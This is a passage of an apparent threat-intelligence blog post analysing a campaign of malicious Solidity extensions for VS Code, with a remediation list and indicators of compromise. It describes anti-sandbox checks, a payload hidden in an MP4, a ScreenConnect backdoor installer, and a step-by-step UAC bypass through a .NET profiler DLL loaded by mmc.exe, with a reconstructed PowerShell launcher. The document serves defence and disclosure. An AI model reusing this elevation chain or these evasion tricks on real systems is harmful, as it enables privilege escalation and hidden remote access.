  <li><strong>Debugger check</strong> — on Windows, a PowerShell probe for processes named <code class="language-plaintext highlighter-rouge">x64dbg</code>, <code class="language-plaintext highlighter-rouge">ollydbg</code>, <code class="language-plaintext highlighter-rouge">windbg</code>, <code class="language-plaintext highlighter-rouge">ida</code>, <code class="language-plaintext highlighter-rouge">ida64</code>, <code class="language-plaintext highlighter-rouge">procmon</code>, <code class="language-plaintext highlighter-rouge">processhacker</code>, <code class="language-plaintext highlighter-rouge">wireshark</code>, <code class="language-plaintext highlighter-rouge">fiddler</code>, or <code class="language-plaintext highlighter-rouge">dnspy</code>, plus <code class="language-plaintext highlighter-rouge">[System.Diagnostics.Debugger]::IsAttached</code>.</li>
  <li><strong>VM checks</strong> — on Linux, DMI product-name strings (<code class="language-plaintext highlighter-rouge">virtualbox</code>, <code class="language-plaintext highlighter-rouge">vmware virtual platform</code>, <code class="language-plaintext highlighter-rouge">qemu</code>, <code class="language-plaintext highlighter-rouge">bochs</code>, <code class="language-plaintext highlighter-rouge">parallels</code>, <code class="language-plaintext highlighter-rouge">kvm virtual machine</code>…) and the <code class="language-plaintext highlighter-rouge">hypervisor</code> CPU flag from <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code>; on macOS, <code class="language-plaintext highlighter-rouge">sysctl hw.model</code> and <code class="language-plaintext highlighter-rouge">ioreg</code> output; on Windows, WMI queries against <code class="language-plaintext highlighter-rouge">Win32_ComputerSystem</code> model and vendor plus <code class="language-plaintext highlighter-rouge">Win32_BIOS</code> version and serial number.</li>
</ul>

<p>The compiled implant has carried anti-VM checks internally since April. Moving the gate into the JavaScript stage means a sandbox that executes only the extension, or only the runner, now sees a file that does nothing — no archive read, no extraction, no persistence writes.</p>

<p>One artifact survives from September and grows: the extension logs its entire deployment to <code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code> on Windows. This build logs spawn PIDs, <code class="language-plaintext highlighter-rouge">msiexec</code> exit codes, Defender-exclusion results, and probe outcomes. It reads like a developer iterating on install failures — from live deployment attempts.</p>

<p>The diff against the September runner is short and revealing. Two hunks: 123 added lines for the anti-analysis functions, and a five-line guard at the top of <code class="language-plaintext highlighter-rouge">main()</code>. Everything else in the 829-line file is byte-identical. The added code even keeps the comment that explains why it exists:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Only block when a debugger is actually attached, not just because</span>
<span class="c1">// VS Code/Cursor reserve a debug port (process.debugPort is always &gt; 0 there).</span>
</code></pre></div></div>

<p>That comment records a failure. An earlier version of the gate checked <code class="language-plaintext highlighter-rouge">process.debugPort</code>, which is set inside ordinary editor sessions, so the dropper aborted on real victims. The October build is the fixed version, and the fix is written against the editor environments the threat actor expects to run in. The comment names Cursor.</p>

<h2 id="the-container-and-the-payload">The container and the payload</h2>

<p>The 54 MB <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> carries the same three-stage container as the September pair: a <code class="language-plaintext highlighter-rouge">NYANSTEG</code> magic glued into an MP4 <code class="language-plaintext highlighter-rouge">free</code> box, a SHA-256 digest over the embedded stream, a <code class="language-plaintext highlighter-rouge">NYANB64X</code> token-substitution layer, and a <code class="language-plaintext highlighter-rouge">NYANARCH</code> archive with per-entry SHA-256 verification. The video plays in any media player. The archive holds seven files, and all seven are byte-identical to the September extraction:</p>

<table>
  <thead>
    <tr>
      <th>Entry</th>
      <th>Size (bytes)</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_amd64</code> (evjawbreaker, Go 1.26, stripped)</td>
      <td>6,291,618</td>
      <td><code class="language-plaintext highlighter-rouge">9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_arm64</code></td>
      <td>5,832,866</td>
      <td><code class="language-plaintext highlighter-rouge">b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_amd64</code></td>
      <td>6,392,832</td>
      <td><code class="language-plaintext highlighter-rouge">80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_arm64</code></td>
      <td>5,918,146</td>
      <td><code class="language-plaintext highlighter-rouge">fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">app.msi</code> (ConnectWise ScreenConnect v25.4.3.9287)</td>
      <td>13,189,120</td>
      <td><code class="language-plaintext highlighter-rouge">7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">invoke.ps1</code> (UAC-bypass launcher)</td>
      <td>13,258</td>
      <td><code class="language-plaintext highlighter-rouge">37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">note.txt</code> (ASCII-art duck, “your prize is nothing”)</td>
      <td>866</td>
      <td><code class="language-plaintext highlighter-rouge">683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8</code></td>
    </tr>
  </tbody>
</table>

<p>The capabilities of the <code class="language-plaintext highlighter-rouge">evjawbreaker</code> implant — TLS C2 hub, Ethereum JSON-RPC dead-drop tasking across twelve public RPC endpoints, interactive PTY shell, output capture — are described in <a href="https://yeethsecurity.com/blog/2026-09-24-Alejandroaranda-Duck-Song-Dropper">the September analysis</a>; the binaries have not changed a byte since.</p>

<p>The MSI is genuine ConnectWise build output: OLE author <code class="language-plaintext highlighter-rouge">ScreenConnect Software</code>, WiX Toolset 3.11, a build date of June 5, 2025, and the ScreenConnect installer-action DLLs. It carries no Authenticode signature. There is no <code class="language-plaintext highlighter-rouge">DigitalSignature</code> stream in the compound file and no PKCS#7 signed-data blob anywhere in the 13 MB file. The trust it borrows is the product name, not a certificate.</p>

<p>The implant’s chain channel is also narrower than the earlier analysis assumed. Only one Ethereum JSON-RPC method is compiled into the binaries: <code class="language-plaintext highlighter-rouge">eth_call</code>. The implant reads tasking from a contract at <code class="language-plaintext highlighter-rouge">0xf8a900Db50b3331be6B768bA460BB59f3E40C344</code>; it does not write to the chain. Tasking is set by the operator from outside, and every check-in is a read against twelve public RPC endpoints.</p>

<p>The persistence paths are also unchanged: on Linux, <code class="language-plaintext highlighter-rouge">~/.solidity</code> plus a systemd user unit named <code class="language-plaintext highlighter-rouge">solidity-langsupport-runner.service</code>; on macOS, <code class="language-plaintext highlighter-rouge">~/.solidity</code> plus a LaunchAgent labeled <code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner</code> (this build now clears quarantine attributes with <code class="language-plaintext highlighter-rouge">xattr -c</code> before first run); on Windows, <code class="language-plaintext highlighter-rouge">invoke.ps1</code> elevates through a UAC bypass, stages the MSI in a hidden, system-marked temporary directory under <code class="language-plaintext highlighter-rouge">LOCALAPPDATA</code>, adds a Microsoft Defender exclusion for that directory, runs <code class="language-plaintext highlighter-rouge">msiexec /q /i app.msi ALLUSERS=1</code>, waits for the install to finish, then removes the exclusion, the staging directory, and every intermediate script in a <code class="language-plaintext highlighter-rouge">finally</code> block.</p>

<h2 id="the-carrier-got-smaller">The carrier got smaller</h2>

<p>The archive did not change; the box around it did. September shipped 37.6 MB of payload inside a 205 MB video. October ships the same 37.6 MB inside a 54 MB video. Payload density rose from 18 percent of the carrier to 70 percent. The extension package fell from 205 MB to 30 MB, which shortens upload time, reduces mirror storage, and draws less attention from size-based review heuristics. The trade is that the video no longer tolerates casual inspection: the September file was a real music video for most of its length, while the October file is mostly payload.</p>

<h2 id="eight-waves-one-implant">Eight waves, one implant</h2>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>April 2026 (Open VSX)</th>
      <th>September 2026 (Open VSX)</th>
      <th>October 22 (Marketplace)</th>
      <th>October 23 (Marketplace)</th>
      <th>October 24 (Marketplace)</th>
      <th>October 25 (Marketplace)</th>
      <th>October 26 (Marketplace)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Extension</td>
      <td><code class="language-plaintext highlighter-rouge">juanbanco-.solidity</code> 0.0.189</td>
      <td><code class="language-plaintext highlighter-rouge">alejandroaranda.solidity-langsupport</code> 0.0.6</td>
      <td><code class="language-plaintext highlighter-rouge">juanbanco.web3tools</code> 0.0.191</td>
      <td><code class="language-plaintext highlighter-rouge">jaunblanco.ethtools</code> 0.0.187</td>
      <td><code class="language-plaintext highlighter-rouge">jaunblanco.ethertools</code> 0.0.193</td>
      <td><code class="language-plaintext highlighter-rouge">luanblanco.language-pack-sol</code> 0.0.194</td>
      <td><code class="language-plaintext highlighter-rouge">juunblanco.vscode-soliditiy</code> 0.0.195</td>
    </tr>
    <tr>
      <td>Delivery</td>
      <td>binaries in <code class="language-plaintext highlighter-rouge">extension/bin/</code></td>
      <td>steganographic MP4</td>
      <td>steganographic MP4</td>
      <td>MP4 plus a clean-twin store build</td>
      <td>73 KB host, nested VSIX, MP4 fetched at runtime</td>
      <td>30 MB host, nested VSIX, MP4 inside the package</td>
      <td>same as October 25, inner build 0.0.4</td>
    </tr>
    <tr>
      <td>Windows payload</td>
      <td>none</td>
      <td>ScreenConnect MSI + UAC bypass</td>
      <td>same files</td>
      <td>same files</td>
      <td>same files</td>
      <td>same files</td>
      <td>same files</td>
    </tr>
    <tr>
      <td>Anti-analysis</td>
      <td>inside the Go binary</td>
      <td>inside the Go binary</td>
      <td>Go binary + JavaScript gates</td>
      <td>Go binary + JavaScript gates + hash-indirect require</td>
      <td>same gates, unchanged loader</td>
      <td>same gates, unchanged loader</td>
      <td>same gates, unchanged loader</td>
    </tr>
    <tr>
      <td>Implant</td>
      <td><code class="language-plaintext highlighter-rouge">evjawbreaker</code></td>
      <td>byte-identical</td>
      <td>byte-identical</td>
      <td>byte-identical</td>
      <td>byte-identical</td>
      <td>byte-identical</td>
      <td>byte-identical</td>
    </tr>
    <tr>
      <td>Carrier size</td>
      <td>19 MB</td>
      <td>205 MB</td>
      <td>30 MB</td>
      <td>30 MB</td>
      <td>54 MB, not in the package</td>
      <td>54 MB, inside the nested package</td>
      <td>54 MB, inside the nested package</td>
    </tr>
  </tbody>
</table>

<p>The pattern is a delivery-layer arms race with a frozen payload. Between April and October the threat actor rewrote how the implant travels five times: binaries inside the extension, then inside a video, then a separate full build, then a nested extension that downloads the video after installation, then a nested extension that carries it. The implant itself has not been recompiled since March 2026.</p>

<h2 id="the-elevation-chain">The elevation chain</h2>

<p>The Windows path deserves a closer read than “UAC bypass”, because the mechanism is specific and the artifact is layered.</p>

<p><code class="language-plaintext highlighter-rouge">invoke.ps1</code> is not the bypass. It is a wrapper that pads its own code with dead arithmetic (<code class="language-plaintext highlighter-rouge">$passiveRoutineCompass = (2751 + 4776)</code>, never used), registers that read like generated filler (<code class="language-plaintext highlighter-rouge">$wistfulBeaconMirror</code>, <code class="language-plaintext highlighter-rouge">$temporalShadowObserveKernel</code>), and a base64 <code class="language-plaintext highlighter-rouge">calc.exe</code> as its default command, with the same string also assembled from fragments (<code class="language-plaintext highlighter-rouge">'c','a','lc','.e','xe'</code>). Its job is to pick a clean Windows PowerShell 5.1 binary, decompress a Deflate blob into <code class="language-plaintext highlighter-rouge">%TEMP%\uac39-inner-&lt;guid&gt;.ps1</code>, and run it:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># analyst reconstruction of the wrapper's behaviour</span><span class="w">
</span><span class="nv">$inner</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">&lt;</span><span class="n">base64</span><span class="err">&gt;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">deflate</span><span class="w"> </span><span class="o">-</span><span class="err">&gt;</span><span class="w"> </span><span class="s2">"%TEMP%\uac39-inner-&lt;guid&gt;.ps1"</span><span class="w">
</span><span class="n">powershell.exe</span><span class="w"> </span><span class="nt">-NoProfile</span><span class="w"> </span><span class="nt">-ExecutionPolicy</span><span class="w"> </span><span class="nx">Bypass</span><span class="w"> </span><span class="nt">-File</span><span class="w"> </span><span class="nv">$inner</span><span class="w"> </span><span class="nt">-Command</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">payload</span><span class="err">&gt;</span><span class="w">
</span><span class="c"># then parse stdout/stderr/exit code, and detect blocks:</span><span class="w">
</span><span class="c">#   reversed AV strings, or exit code -1073740791 (0xC0000409)</span><span class="w">
</span></code></pre></div></div>

<p>That exit code is <code class="language-plaintext highlighter-rouge">STATUS_STACK_BUFFER_OVERRUN</code>, which Windows returns when AMSI blocks a script. The wrapper checks for it, checks for reversed Defender message fragments, and falls back to launching its secondary command through <code class="language-plaintext highlighter-rouge">cmd.exe</code> if the inner runner is blocked.</p>

<p>The decompressed inner script is a different artifact in style: 199 lines of plainly named, unobfuscated PowerShell with functions such as <code class="language-plaintext highlighter-rouge">Test-IsElevated</code>, <code class="language-plaintext highlighter-rouge">Test-IsLocalAdminMember</code>, and <code class="language-plaintext highlighter-rouge">Invoke-DotNetProfilerBypassAttempt</code>. Two authorship styles in one file, which is consistent with borrowed bypass code wrapped in a padded launcher.</p>

<p>The bypass itself is UACME method 39, Stefan Kanthak’s .NET Code Profiler technique, which has worked from Windows 7 onward and is still listed as unfixed. The target is <code class="language-plaintext highlighter-rouge">mmc.exe</code>, and the actor’s naming follows the method index:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user is already elevated        -&gt; run the command hidden, exit
user is not in Administrators   -&gt; ordinary RunAs prompt, retried on cancel
user is a local administrator   -&gt; silent elevation:
    profiler.dll  -&gt;  %TEMP%\uac39-&lt;guid&gt;\profiler.dll
    HKCU\Software\Classes\CLSID\{GUID}\InprocServer32  -&gt;  profiler.dll
    user env: COR_ENABLE_PROFILING=1, COR_PROFILER={GUID},
              COR_PROFILER_PATH=&lt;dll&gt;, UAC39_PAYLOAD=&lt;command&gt;
    broadcast WM_SETTINGCHANGE, then launch mmc.exe taskschd.msc
       (fallbacks: compmgmt.msc, eventvwr.msc, secpol.msc, gpedit.msc)
    .NET inside the elevated MMC loads the profiler DLL, which reads
    UAC39_PAYLOAD and starts the command in the elevated token
    poll profiler-result.txt for "TokenIsElevated=1" (8 second deadline)
    then remove the CLSID key, clear the variables, delete the work directory
</code></pre></div></div>

<p>Every component of that chain is per-user and needs no administrator rights to set up: the CLSID lives in HKCU, and the environment variables are user-scope. The elevation comes from <code class="language-plaintext highlighter-rouge">mmc.exe</code>, a Microsoft-signed binary whose manifest requests the highest available privilege, so for a user who is already a local administrator it starts elevated with no prompt. The profiler DLL then runs inside that elevated .NET process. The DLL writes its result to disk with the process ID and the elevation state of its own token, which is how the script confirms success before cleaning up.</p>

<p>The choice of targets tells the rest. All five are MMC snap-ins that a developer or IT administrator opens routinely, and all five auto-elevate. The threat actor did not need a vulnerable service, a scheduled task, or a hijackable auto-start binary. They needed a signed Microsoft program that loads .NET on request.</p>

<h2 id="linkage-evidence">Linkage evidence</h2>

<p>Seven byte-identical payload files are the headline, but the linkage does not rest on the payload alone:</p>

<ul>
  <li><strong>Byte-identical payload set.</strong> All 7 archive entries match the September 24, 2026 extraction by SHA-256, including the ScreenConnect MSI and the easter-egg note.</li>
  <li><strong>Same container format.</strong> <code class="language-plaintext highlighter-rouge">NYANSTEG</code> / <code class="language-plaintext highlighter-rouge">NYANB64X</code> / <code class="language-plaintext highlighter-rouge">NYANARCH</code> magics, same free-box placement, same digest structure — a format with no public documentation outside these campaigns.</li>
  <li><strong>Same persistence identifiers.</strong> <code class="language-plaintext highlighter-rouge">solidity-langsupport-runner.service</code> and <code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner</code> — service names first observed in the September pair.</li>
  <li><strong>Same dead-drop contract.</strong> All four platform binaries contain the same Ethereum address, <code class="language-plaintext highlighter-rouge">0xf8a900Db50b3331be6B768bA460BB59f3E40C344</code>, and the Linux build is byte-identical to the April one.</li>
  <li><strong>Same debug-log path.</strong> <code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code>.</li>
  <li><strong>Same description string.</strong> <code class="language-plaintext highlighter-rouge">Ethereum Solidity Language for Visual Studio Code</code>, copied from the canonical extension. The September variants appended <code class="language-plaintext highlighter-rouge">&amp; Cursor</code>; this wave reverts to the exact upstream wording.</li>
  <li><strong>Same publisher-name rotation.</strong> The April 2026 wave published as <code class="language-plaintext highlighter-rouge">juanbanco-</code> (trailing hyphen); this wave publishes as <code class="language-plaintext highlighter-rouge">juanbanco</code>. The version number <code class="language-plaintext highlighter-rouge">0.0.191</code> continues the April wave’s <code class="language-plaintext highlighter-rouge">0.0.189</code> sequence.</li>
  <li><strong>Same bait.</strong> A Solidity extension impersonating JuanBlanco’s, bundling a video the platform has no reason to ship.</li>
</ul>

<p>The available evidence does not establish that a single threat actor controls every extension in this family. The byte-identical implant across the April, September, and October builds is the strongest link, and it is the same binary in all three.</p>

<h2 id="why-it-evades-review">Why it evades review</h2>

<table>
  <thead>
    <tr>
      <th>Defender assumption</th>
      <th>Actor behavior</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>The listed version is the artifact</td>
      <td>Weaponized build serves in a short window, then the listing reverts to a 2.4 KB decoy</td>
    </tr>
    <tr>
      <td>A clean scan of the package clears the listing</td>
      <td>The malicious bytes live inside a media file, inside a custom container, decoded only by the dropper’s own parser</td>
    </tr>
    <tr>
      <td>The listed package contains the code under review</td>
      <td>One source tree builds two packages: <code class="language-plaintext highlighter-rouge">package:marketplace</code> ships a stub with no runner, <code class="language-plaintext highlighter-rouge">package:full</code> ships the dropper under a version that stays fetchable after delisting</td>
    </tr>
    <tr>
      <td>Package size and file inventory describe the attack</td>
      <td>A 73 KB listing installs a second extension from a 32 KB bundled archive, then downloads the 54 MB carrier over HTTPS</td>
    </tr>
    <tr>
      <td>An install is one artifact</td>
      <td>The first extension installs a second one through the editor’s own extension install command, 60 to 150 seconds after first activation</td>
    </tr>
    <tr>
      <td>A publisher name check catches impersonation</td>
      <td>Homoglyph and bidi characters make the rendered name “Juan Blanco” while the stored bytes differ from it</td>
    </tr>
    <tr>
      <td>Display-name checks catch impersonation</td>
      <td>Ten zero-width characters make the name technically distinct while rendering identically</td>
    </tr>
    <tr>
      <td>Sandbox execution exposes behavior</td>
      <td>Debugger and VM checks in the JavaScript stage abort before any payload logic runs</td>
    </tr>
    <tr>
      <td>A commercial vendor’s installer carries a signature</td>
      <td>The MSI has no Authenticode signature at all. Its trust comes from the product identity inside it, not from a certificate</td>
    </tr>
    <tr>
      <td>Snippet and language extensions are declarative</td>
      <td>The <code class="language-plaintext highlighter-rouge">Snippets</code>-categorized package bundles executable code and a 54 MB video</td>
    </tr>
  </tbody>
</table>

<h2 id="outlook">Outlook</h2>

<p>Expect this operation to keep registry-hopping. It has now used both registries that serve VS Code users, and the marketplace’s version shuffle is a working refinement of the republish loop seen on Open VSX in May 2026. Expect the push-pull cycle to repeat on a fresh namespace — the same payload set has survived eight listings unchanged, so there is no pressure on the actor to rewrite it. The anti-analysis gates added to the JavaScript stage indicate the actor assumes sandboxed review; the clean-twin build pipeline indicates the actor also assumes the listed package will be reviewed on its own; the nested install indicates the actor now assumes the package will be inspected and hashed in isolation. The install counter on October 26 suggests the next assumption: that a buyer will trust a number instead of a hash. The next refinement will likely move more of the chain out of the package — code fetched at runtime, not only media — and will add further delay or environment checks between the first extension and the second. The Windows path will keep using a signed Microsoft binary that loads .NET, because the technique depends on auto-elevation rather than a vulnerability, and it will keep failing only when Microsoft changes which MMC snap-ins auto-elevate. And as long as a genuine ScreenConnect installer keeps passing as a legitimate enterprise tool, the Windows backdoor will remain an unsigned MSI carrying a commercial vendor’s product name, which is enough.</p>

<h2 id="remediation">Remediation</h2>

<p>If <code class="language-plaintext highlighter-rouge">juanbanco.web3tools</code>, <code class="language-plaintext highlighter-rouge">juanbanco.web3-tools</code>, <code class="language-plaintext highlighter-rouge">jaunblanco.ethtools</code>, <code class="language-plaintext highlighter-rouge">jaunblanco.ethertools</code>, <code class="language-plaintext highlighter-rouge">juunblanco.vscode-soliditiy</code>, or any extension matching this pattern is installed:</p>

<ol>
  <li>Uninstall the extension and audit the install window. Any version downloaded as <code class="language-plaintext highlighter-rouge">0.0.191</code>, <code class="language-plaintext highlighter-rouge">0.0.195</code>, <code class="language-plaintext highlighter-rouge">0.0.187</code>, <code class="language-plaintext highlighter-rouge">0.0.193</code>, or <code class="language-plaintext highlighter-rouge">0.0.194</code> should be treated as a dropper execution, not a failed install. The clean sibling builds (<code class="language-plaintext highlighter-rouge">0.0.2</code>, <code class="language-plaintext highlighter-rouge">0.0.186</code>) carry no payload, but the publisher account behind them should be treated as hostile.</li>
  <li>Check the extensions directory for a second <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> entry at version <code class="language-plaintext highlighter-rouge">0.0.2</code>, <code class="language-plaintext highlighter-rouge">0.0.3</code>, or <code class="language-plaintext highlighter-rouge">0.0.4</code> with the display name “Solidity language runtime helpers”. The genuine extension uses the same publisher ID, so compare the install path and version, not the identifier alone. Remove the entry and its folder if it does not resolve to the real installation.</li>
  <li>Check the temporary directory for leftovers from the nested install and the runtime fetch: <code class="language-plaintext highlighter-rouge">sol-bundled-&lt;epoch&gt;.vsix</code> and <code class="language-plaintext highlighter-rouge">.sol-rt-&lt;epoch&gt;-&lt;pid&gt;.dat</code> (Windows <code class="language-plaintext highlighter-rouge">%TEMP%</code>, POSIX <code class="language-plaintext highlighter-rouge">/tmp</code>).</li>
  <li>Check for the implant directory <code class="language-plaintext highlighter-rouge">~/.solidity</code> and remove it.</li>
  <li>On Linux, remove <code class="language-plaintext highlighter-rouge">~/.config/systemd/user/solidity-langsupport-runner.service</code> and run <code class="language-plaintext highlighter-rouge">systemctl --user daemon-reload</code>. On macOS, remove <code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents/com.solidity.langsupport.runner.plist</code> and unload the label.</li>
  <li>On Windows, check for ScreenConnect installation directories under <code class="language-plaintext highlighter-rouge">Program Files</code>, <code class="language-plaintext highlighter-rouge">Program Files (x86)</code>, <code class="language-plaintext highlighter-rouge">LOCALAPPDATA</code>, and <code class="language-plaintext highlighter-rouge">APPDATA</code>, and for ScreenConnect processes and services. Check Microsoft Defender exclusions for entries pointing at temporary or dot-prefixed directories. The debug log at <code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code> records what the dropper did on the machine.</li>
  <li>Remove the elevation artifacts: <code class="language-plaintext highlighter-rouge">%TEMP%\uac39-*</code> files and directories, any <code class="language-plaintext highlighter-rouge">HKCU\Software\Classes\CLSID\{...}\InprocServer32</code> key pointing at a <code class="language-plaintext highlighter-rouge">profiler.dll</code> in a temp directory, and the user environment variables <code class="language-plaintext highlighter-rouge">COR_ENABLE_PROFILING</code>, <code class="language-plaintext highlighter-rouge">COR_PROFILER</code>, <code class="language-plaintext highlighter-rouge">COR_PROFILER_PATH</code>, and <code class="language-plaintext highlighter-rouge">UAC39_PAYLOAD</code>.</li>
  <li>Treat an installed ScreenConnect client as a live remote-access backdoor: revoke the access credentials, uninstall it, and rotate any secrets handled on the machine.</li>
</ol>

<p>The general principle this campaign teaches: a listing is not an artifact, and a package is not its attack surface. Trust must bind to the exact bytes of a specific version, because version churn is the cheapest evasion a marketplace publisher has, and the executable stage can arrive after installation.</p>

<h2 id="iocs">IOCs</h2>

<p><strong>Extension identity</strong></p>
<ul>
  <li>Publisher: <code class="language-plaintext highlighter-rouge">juanbanco</code> (display name “Banker”, account created 2026-10-23)</li>
  <li>Extension: <code class="language-plaintext highlighter-rouge">juanbanco.web3tools</code></li>
  <li>Display name: <code class="language-plaintext highlighter-rouge">solidity</code> + U+200B × 10</li>
  <li>Extension (re-push): <code class="language-plaintext highlighter-rouge">juanbanco.web3-tools</code> <a href="https://pkgscan.dev/pkg/vscode-extension/juanbanco/web3-tools">Pkgscan Result</a></li>
  <li>Display name (re-push): <code class="language-plaintext highlighter-rouge">solidity</code> + U+200B × 9</li>
  <li>Description: <code class="language-plaintext highlighter-rouge">Ethereum Solidity Language for Visual Studio Code</code> (verbatim copy)</li>
  <li>Publisher: <code class="language-plaintext highlighter-rouge">jaunblanco</code> (gallery display <code class="language-plaintext highlighter-rouge">Juan BIan</code> + U+202E + <code class="language-plaintext highlighter-rouge">oc</code>, renders as “Juan Blanco”)</li>
  <li>Extension: <code class="language-plaintext highlighter-rouge">jaunblanco.ethtools</code> <a href="https://pkgscan.dev/pkg/vscode-extension/jaunblanco/ethtools">Pkgscan Result</a></li>
  <li>Display name: <code class="language-plaintext highlighter-rouge">solidity</code> + U+200B × 21</li>
  <li>Publisher (fourth push): <code class="language-plaintext highlighter-rouge">jaunblanco</code> (gallery display “Juan Blanco”, plain ASCII)</li>
  <li>Extension (fourth push): <code class="language-plaintext highlighter-rouge">jaunblanco.ethertools</code> <a href="https://pkgscan.dev/pkg/vscode-extension/jaunblanco/ethertools@0.0.193">Pkgscan Result</a> 0.0.193</li>
  <li>Display name (fourth push): <code class="language-plaintext highlighter-rouge">solidity</code> + U+200B × 22</li>
  <li>Extension (seventh listing): <code class="language-plaintext highlighter-rouge">luanblanco.language-pack-sol</code> <a href="https://pkgscan.dev/pkg/vscode-extension/luanblanco/language-pack-sol@0.0.194">Pkgscan Result</a> 0.0.194</li>
  <li>Publisher (eighth listing): <code class="language-plaintext highlighter-rouge">juunblanco</code> (doubled <code class="language-plaintext highlighter-rouge">u</code>; gallery display <code class="language-plaintext highlighter-rouge">Juan B</code> + U+202E + <code class="language-plaintext highlighter-rouge">ocnal</code>)</li>
  <li>Extension (eighth listing): <code class="language-plaintext highlighter-rouge">juunblanco.vscode-soliditiy</code> <a href="https://pkgscan.dev/pkg/vscode-extension/juunblanco/vscode-soliditiy@0.0.195">Pkgscan Result</a> 0.0.195 (typo of <code class="language-plaintext highlighter-rouge">vscode-solidity</code>)</li>
  <li>Display name (eighth listing): <code class="language-plaintext highlighter-rouge">solidity</code> + two spaces + U+200B × 2</li>
  <li><code class="language-plaintext highlighter-rouge">publisherName</code> metadata (eighth listing): <code class="language-plaintext highlighter-rouge">"Juan Blanco"</code></li>
  <li>Nested package identity: <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> 0.0.2 / 0.0.3 / 0.0.4, “Solidity language runtime helpers”</li>
  <li>Placeholder identity: <code class="language-plaintext highlighter-rouge">extneison</code>, “A minimal test extension”</li>
</ul>

<p><strong>Package hashes</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">juanbanco.web3tools-0.0.2.vsix</code>: <code class="language-plaintext highlighter-rouge">bfb72c3860c4d93b114ac61e58e13208466dce11ce29e1ee8e87637a911ec9d4</code> (decoy)</li>
  <li><code class="language-plaintext highlighter-rouge">juanbanco.web3tools-0.0.191.vsix</code>: <code class="language-plaintext highlighter-rouge">968ee1e3a057e2d980195ffa6778db277a1fb797315b9392a89331efcfae04eb</code> <a href="https://pkgscan.dev/file/968ee1e3a057e2d980195ffa6778db277a1fb797315b9392a89331efcfae04eb">Pkgscan Result</a> (dropper)</li>
  <li><code class="language-plaintext highlighter-rouge">juanbanco.web3-tools-0.0.195.vsix</code>: <code class="language-plaintext highlighter-rouge">e35e6bc64b0b13d209afb762abfc2096a0d95c715a89c3991536c5ff2027ea6f</code> <a href="https://pkgscan.dev/file/e35e6bc64b0b13d209afb762abfc2096a0d95c715a89c3991536c5ff2027ea6f">Pkgscan Result</a> (obfuscated re-push, gzip-served)</li>
  <li><code class="language-plaintext highlighter-rouge">jaunblanco.ethtools-0.0.2.vsix</code>: <code class="language-plaintext highlighter-rouge">d10d33088fa560be619e958d50aaf376a300606fca8fcce4602e405c6dc064a6</code> (placeholder, 2.4 KB)</li>
  <li><code class="language-plaintext highlighter-rouge">jaunblanco.ethtools-0.0.186.vsix</code>: <code class="language-plaintext highlighter-rouge">1c3cedc15f6bbd9fe78d2bf517677ef3c1c7ddec95a6f08487fde73c4f6160b2</code> (clean stub)</li>
  <li><code class="language-plaintext highlighter-rouge">jaunblanco.ethtools-0.0.187.vsix</code>: <code class="language-plaintext highlighter-rouge">74cfa4a2314304400b0809764999ed301e9270910ffb8f1a34fc529f480f4711</code> <a href="https://pkgscan.dev/file/74cfa4a2314304400b0809764999ed301e9270910ffb8f1a34fc529f480f4711">Pkgscan Result</a> (dropper)</li>
  <li><code class="language-plaintext highlighter-rouge">jaunblanco.ethertools-0.0.2.vsix</code>: <code class="language-plaintext highlighter-rouge">8fcca165556733e9adb8b07b03de6dd96d1b8fe45688ef1bce4299c937c99ac8</code> (placeholder, 2.4 KB)</li>
  <li><code class="language-plaintext highlighter-rouge">jaunblanco.ethertools-0.0.193.vsix</code>: <code class="language-plaintext highlighter-rouge">6da1f3aba0a88181e5996e8ac5ee705837f894dc6f635744859e1bfcfc5ea729</code> <a href="https://pkgscan.dev/file/6da1f3aba0a88181e5996e8ac5ee705837f894dc6f635744859e1bfcfc5ea729">Pkgscan Result</a> (nested-install host)</li>
  <li><code class="language-plaintext highlighter-rouge">resources/bundled.payload</code> (nested VSIX, 0.0.193): <code class="language-plaintext highlighter-rouge">c80e1c7bef98479f58d869f85d740d9265dd4115e4680081190b55607b7909bc</code></li>
